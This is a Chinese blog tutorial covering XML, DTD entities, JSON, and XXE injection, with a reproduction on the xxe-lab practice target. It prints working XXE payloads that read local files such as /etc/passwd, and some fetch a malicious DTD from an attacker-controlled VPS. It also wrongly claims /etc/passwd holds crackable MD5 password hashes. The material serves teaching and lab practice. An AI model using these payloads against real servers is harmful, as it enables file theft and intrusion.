1,xml標記語言
2,json數據格式語言
3,xml與json異同分析
4,XXE漏洞簡介以及三種外部實體注入聲明
5,基於xxe-lab靶機環境的xxe漏洞復現
壹 xml標記語言簡介
XML(Extensible Markup Language)擴展標記語言 ,是一種常用的標記語言,用於標記電子文件使其具有結構性,可以用來標記數據、定義數據類型,是一種允許用戶對自己的標記語言進行定義的源語言。
XML使用 DTD(document type definition)文檔類型定義來組織數據;格式統一,跨平臺和語言,早已成爲業界公認的標準。XML是標準通用標記語言 (SGML) 的子集,非常適合 Web 傳輸。XML 提供統一的方法來描述和交換獨立於應用程序或供應商的結構化數據。
在xml中使用的是這種類型的文件進行代碼的傳遞、引用
我們以下面這個xml代碼來分析xml基礎構造,xml主要是由以下三個部分組成的:
和html類似;所有的 XML 文檔(以及 HTML 文檔)均由以下簡單的構建模塊構成:
- 元素
- 這就是xml和html的元素
- 屬性
- 比如說某個元素的鏈接:
- 實體
- 實體是用來定義普通文本的變量。實體引用是對實體的引用。
- PCDATA
- PCDATA 的意思是被解析的字符數據(parsed character data)。
PCDATA 是會被解析器解析的文本。這些文本將被解析器檢查實體以及標記。
- PCDATA 的意思是被解析的字符數據(parsed character data)。
- CDATA
- CDATA 的意思是字符數據(character data)。
CDATA 是不會被解析器解析的文本。
- CDATA 的意思是字符數據(character data)。
DTD文件的聲明:
分爲內部聲明和外部引用聲明;
內部聲明 <!DOCTYPE 根元素 [元素聲明] > :
外部聲明(引用外部的dtd文件) <!DOCTYPE 根元素 SYSTEM "文件名"> :
DTD的實體:
DTD實體是用於定義引用普通文本或特殊字符的快捷方式的變量,可分爲內部實體和外部實體。
- 內部實體:<!ENTITY 實體名 實體的值 >
- 外部實體:<!ENTITY 實體名 SYSTEM url >
內外部實體又可分爲 一般實體 和 參數實體
一般實體的聲明語法:<!ENTITY 實體名 "實體內容“> --> 引用實體的方式:&實體名;
參數實體只能在DTD中使用,參數實體的聲明格式: <!ENTITY %實體名 "實體內容“> --> 引用實體的方式:%實體名;
貳 json數據格式語言簡介
JSON全稱JavaScaript對象表示法(JavaScript Object Notation),是存儲和交換文本信息的語法。具有文本量更小、更快和更易解析的特點。Json和HTML不一樣,HTML主要用於顯示數據,JSON主要用於傳遞數據,所以一般作爲數據的查詢接口。
在 JS 語言中,一切都是對象。因此,任何支持的類型都可以通過 JSON 來表示,例如字符串、數字、對象、數組等。但是對象和數組是比較特殊且常用的兩種類型:
- 對象表示爲鍵值對
- 數據由逗號分隔
- 花括號保存對象
- 方括號保存數組
簡單的解釋一下,就是json是一種更加強大的javascript應用方法,通過json,就可以將html所創建的web界面與用戶之間進行後臺的數據交互,達到動態頁面的需要
同城json是輕量級的存在,不是嚴謹的編程語言。
叄 xml與json異同分析
xml:可擴展的標記語言,是一種用於標記電子文件使其具有結構性的標記語言。
json:(javascript Object Notation, JS 對象簡譜) 是一種輕量級的數據交換格式。
二者區別:
它們都是一種數據交換格式。
1,xml是重量級的,json是輕量級的。
2,xml在傳輸過程中比較佔帶寬,json佔帶寬少,易於壓縮。
3,xml和json都用在項目交互下,xml多用於做配置文件,json用於數據交互。
4,json可用jackson,gson等方法解析,xml可用dom,sax,demo4j等方式解析。
肆 XXE漏洞簡介以及三種外部實體注入聲明
什麼是XXE漏洞
XXE(XML External Entity Injection);也就是XML外部實體注入,XXE漏洞發生在應用程序解析XML輸入時,XML文件的解析依賴libxml 庫,而 libxml2.9 以前的版本默認支持並開啓了對外部實體的引用,服務端解析用戶提交的XML文件時,未對XML文件引用的外部實體(含外部一般實體和外部參數實體)做合適的處理,並且實體的URL支持 file:// 和 ftp:// 等協議,導致可加載惡意外部文件 和 代碼,造成任意文件讀取、命令執行、內網端口掃描、攻擊內網網站、發起Dos攻擊等危害。
XXE漏洞觸發的點往往是可以上傳xml文件的位置,沒有對上傳的xml文件進行過濾,導致可上傳惡意xml文件
構建外部實體注入的三種方式
這裏都是以Windows系統下,讀取D:\OS\xml.txt文件爲例子進行代碼分析
進行xml注入時,直接將注入代碼放在http包頭部的下面,主體部分的上面
第一種:直接通過DTD外部實體聲明
<?xml version="1.0"?> <!DOCTYPE XXE[ <!ENTITY admin SYSTEM "file:///d:/OS/xml.txt"> ]> <a>&admin;</a>
要是爲Linux的話這裏可以換成/etc/passwd 直接讀出用戶的密碼md5加密數據,然後上網找md5密碼庫直接碰撞
第二種:(一半實體)通過DTD外部聲明引入外部DTD文檔(事先存放在目標可達的vps服務器中),再引入外部的實體聲明
<?xml version="1.0"?> <!DOCTYPE XXE SYSTEM "http://your vps's ip/xxe.dtd"> <a>&admin;</a>
其中vps中的目標惡意文件內寫入:
<!ENTITY admin SYSTEM "file:///d:/OS/xml.txt">
第三種:(參數實體)通過DTD外部實體聲明引入DTD文檔,在引入外部實體聲明
<?xml version="1.0"?> <!DOCTYPE XXE[ <!ENTITY % admin SYSTEM "http://your vps's ip/xxe.dtd"> %admin; ]>
!!!警告!!!
此處請嚴格按照書寫格式進行書寫,任何一處空格或是符號漏了多了都會報錯!!!
伍 基於xxe-lab靶機環境的xxe漏洞復現
github上一個很基礎很基礎的xxe漏洞靶機環境,想要進階xxe漏洞的請移步至vulhub漏洞集成環境
漏洞集成了三種語言編寫的xxe環境,簡潔大方美觀大氣儒雅隨和(狗頭),我在最後會貼一個漏洞官方給的教程gif圖片
這是他的登錄界面(首頁)
所創建的目標文件:
老規矩,先抓包分析:
很閒登陸成功則是返回1,失敗就位0,返回包後面第二個可變字段插入的是我們注入的回顯點,也就是“用戶名”字段,我們可以從這裏入手:
先嚐試直接通過DTD外部實體聲明進行注入:
在下面箭頭所示的位置,千萬注意格式!!
第二種方式:通過引入外部DTD文檔引入外部的實體聲明
現在我的阿里雲vps上http服務器可訪問目錄下創建惡意DTD文件:
然後直接幹:
嘗試第三種,就是第二種的變形:
千萬注意格式
官方給的教程GIF:
在外部實體的路徑位置,無論是域名還是使用IP地址,都必須要使用 http:// 的正規協議格式的url,不然會報錯
具體原因應該是這裏要上傳xml代碼,需要表明交互信息所使用的協議(http協議)
XXE漏洞使用的是XML語言的特性,也同樣可以用 file:// 或者是 ftp:// 協議進行攻擊
此漏洞危害等級較高最根本的防禦方法就是XML解析庫在調用時嚴格禁止對外部實體的解析。
愛情是一種本能,有的人天生就會,有的人一輩子都不會
——加西亞·馬爾克斯 《霍亂時期的愛情》
參考文章:
https://blog.csdn.net/qq_36119192/article/details/84993356
https://www.cnblogs.com/Mikasa-Ackerman/p/10987813.html
https://blog.csdn.net/qq_36119192/article/details/83047334